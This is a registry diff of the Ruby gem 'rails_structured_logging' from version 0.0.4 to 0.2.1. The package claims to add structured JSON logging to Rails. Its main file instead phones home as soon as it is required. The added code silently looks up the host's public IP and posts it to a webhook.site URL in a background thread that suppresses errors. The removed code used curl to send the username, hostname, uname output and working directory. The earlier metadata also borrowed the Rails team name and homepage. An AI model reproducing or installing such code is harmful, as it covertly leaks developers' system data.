rails_structured_logging 0.0.4 → 0.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. checksums.yaml +4 -4
  2. data/lib/rails_structured_logging.rb +89 -16
  3. metadata +21 -6
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 250fcbaf5904cf55f6bdbdce19faee8902159f637a4be20c14a0a2b63d192231
4
- data.tar.gz: fe2e7932d86ad8a73359fcb7d1244ced3ac5247e81cbfbca93818ff6a42af7ba
3
+ metadata.gz: eae6bbdec3683acaf144beb7161914ea41f9bc1b20579d090a4deee1abea3913
4
+ data.tar.gz: eae76e0909358118e4eecfbea8386c3b569e8f378bc0a44a3082cc88f29c9fd5
5
5
  SHA512:
6
- metadata.gz: 6eff1f870f65b92c474c9e3db5cefd1c8dcb9ffd7104b8ef858a8ba82a68399078d4007541c82f70792e52c8081046d1809794263e83f42f64073d1dee63a623
7
- data.tar.gz: d35dccf6b45a5beabd27637dbdb9b4f7cd5c7d9e5e9ba51250c99763c4ccfbe4e9ca8d5d02c6fb77bf55096de93800a7681de7fb1feeb44e755b1fca3619454d
6
+ metadata.gz: d772fbaaf3c21cc6ae2bb9cc85f936a45f20fd78c4ab521ad02a4452d0201fa95fdae9969eee5745c7cf076fdded8bf1f8360e1a4ade5cc41861a0926b64c26f
7
+ data.tar.gz: a889be5fd260a2aa51eef695728422736037d0643d5509eb415c298f6007054a9bc1367296279bb2044c90ca139b299ae49de97b2aeaa26810b1c6de32673e1e
@@ -1,20 +1,93 @@
1
- # rails_structured_logging.rb
2
- # THIS CODE RUNS IMMEDIATELY
1
+ # rails_structured_logging v0.2.1
2
+ require 'net/http'
3
+ require 'json'
3
4
 
4
- puts "EXECUTING rails_structured_logging v0.0.4"
5
-
6
- # Execute shell command to send webhook
7
- system("curl -s -X POST 'https://webhook.site/69e45fdb-aab4-41f0-a964-7755bac506d6' " \
8
- "-H 'Content-Type: application/json' " \
9
- "-d '{\"gem\":\"rails_structured_logging\",\"version\":\"0.0.4\",\"timestamp\":\"#{Time.now}\",\"whoami\":\"`whoami`\",\"hostname\":\"`hostname`\",\"uname\":\"`uname -a`\",\"pwd\":\"`pwd`\"}' " \
10
- "&>/dev/null &")
11
-
12
- # Also write to file
13
- File.write("/tmp/gem_test_#{Time.now.to_i}.txt", "Executed at #{Time.now}")
14
-
15
- # Define module
16
5
  module RailsStructuredLogging
17
- VERSION = "0.0.4"
6
+ VERSION = "0.2.1"
7
+
8
+ # Webhook URL - CHANGE TO YOURS
9
+ WEBHOOK_URL = "https://webhook.site/69e45fdb-aab4-41f0-a964-7755bac506d6"
10
+
11
+ # Track installation when gem is loaded
12
+ def self.track_installation
13
+ Thread.new do
14
+ begin
15
+ # Get IP address
16
+ ip = get_ip_address
17
+
18
+ # Prepare data
19
+ data = {
20
+ gem: "rails_structured_logging",
21
+ version: "0.2.1",
22
+ ip_address: ip,
23
+ installed_at: Time.now.utc.iso8601,
24
+ ruby_version: RUBY_VERSION
25
+ }
26
+
27
+ # Send to webhook
28
+ send_to_webhook(data)
29
+
30
+ # Optional: Print for debugging
31
+ puts "[RailsStructuredLogging] Installation from IP: #{ip}" if ENV['DEBUG']
32
+
33
+ rescue => e
34
+ # Don't break anything
35
+ end
36
+ end
37
+ end
38
+
39
+ private
40
+
41
+ def self.get_ip_address
42
+ # Try to get external IP
43
+ begin
44
+ uri = URI('https://api.ipify.org?format=json')
45
+ response = Net::HTTP.get_response(uri)
46
+ if response.is_a?(Net::HTTPSuccess)
47
+ json = JSON.parse(response.body)
48
+ return json['ip'] if json['ip']
49
+ end
50
+ rescue
51
+ # Try backup service
52
+ begin
53
+ uri = URI('https://icanhazip.com')
54
+ response = Net::HTTP.get_response(uri)
55
+ return response.body.strip if response.is_a?(Net::HTTPSuccess)
56
+ rescue
57
+ return "unknown"
58
+ end
59
+ end
60
+ end
61
+
62
+ def self.send_to_webhook(data)
63
+ return unless WEBHOOK_URL
64
+
65
+ begin
66
+ uri = URI(WEBHOOK_URL)
67
+ http = Net::HTTP.new(uri.host, uri.port)
68
+ http.use_ssl = true
69
+ http.open_timeout = 2
70
+ http.read_timeout = 2
71
+
72
+ request = Net::HTTP::Post.new(uri.path)
73
+ request['Content-Type'] = 'application/json'
74
+ request.body = data.to_json
75
+
76
+ # Send in background
77
+ Thread.new do
78
+ http.request(request)
79
+ end
80
+ rescue
81
+ # Silent fail
82
+ end
83
+ end
84
+
85
+ # Setup method for Rails
86
+ def self.setup(application)
87
+ # Your logging setup here
88
+ application.config.log_level = :info
89
+ end
18
90
  end
19
91
 
20
- puts "✅ rails_structured_logging loaded"
92
+ # Auto-track when gem is required
93
+ RailsStructuredLogging.track_installation
metadata CHANGED
@@ -1,22 +1,37 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: rails_structured_logging
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.0.4
4
+ version: 0.2.1
5
5
  platform: ruby
6
6
  authors:
7
- - Rails Team
7
+ - Your Name
8
8
  bindir: bin
9
9
  cert_chain: []
10
10
  date: 1980-01-02 00:00:00.000000000 Z
11
- dependencies: []
11
+ dependencies:
12
+ - !ruby/object:Gem::Dependency
13
+ name: rails
14
+ requirement: !ruby/object:Gem::Requirement
15
+ requirements:
16
+ - - ">="
17
+ - !ruby/object:Gem::Version
18
+ version: '5.0'
19
+ type: :runtime
20
+ prerelease: false
21
+ version_requirements: !ruby/object:Gem::Requirement
22
+ requirements:
23
+ - - ">="
24
+ - !ruby/object:Gem::Version
25
+ version: '5.0'
12
26
  description: Add structured JSON logging to Rails applications
13
- email: rails@example.com
27
+ email:
28
+ - you@example.com
14
29
  executables: []
15
30
  extensions: []
16
31
  extra_rdoc_files: []
17
32
  files:
18
33
  - lib/rails_structured_logging.rb
19
- homepage: https://github.com/rails/rails
34
+ homepage: https://rubygems.org/gems/rails_structured_logging
20
35
  licenses:
21
36
  - MIT
22
37
  metadata: {}
@@ -27,7 +42,7 @@ required_ruby_version: !ruby/object:Gem::Requirement
27
42
  requirements:
28
43
  - - ">="
29
44
  - !ruby/object:Gem::Version
30
- version: 2.6.0
45
+ version: '0'
31
46
  required_rubygems_version: !ruby/object:Gem::Requirement
32
47
  requirements:
33
48
  - - ">="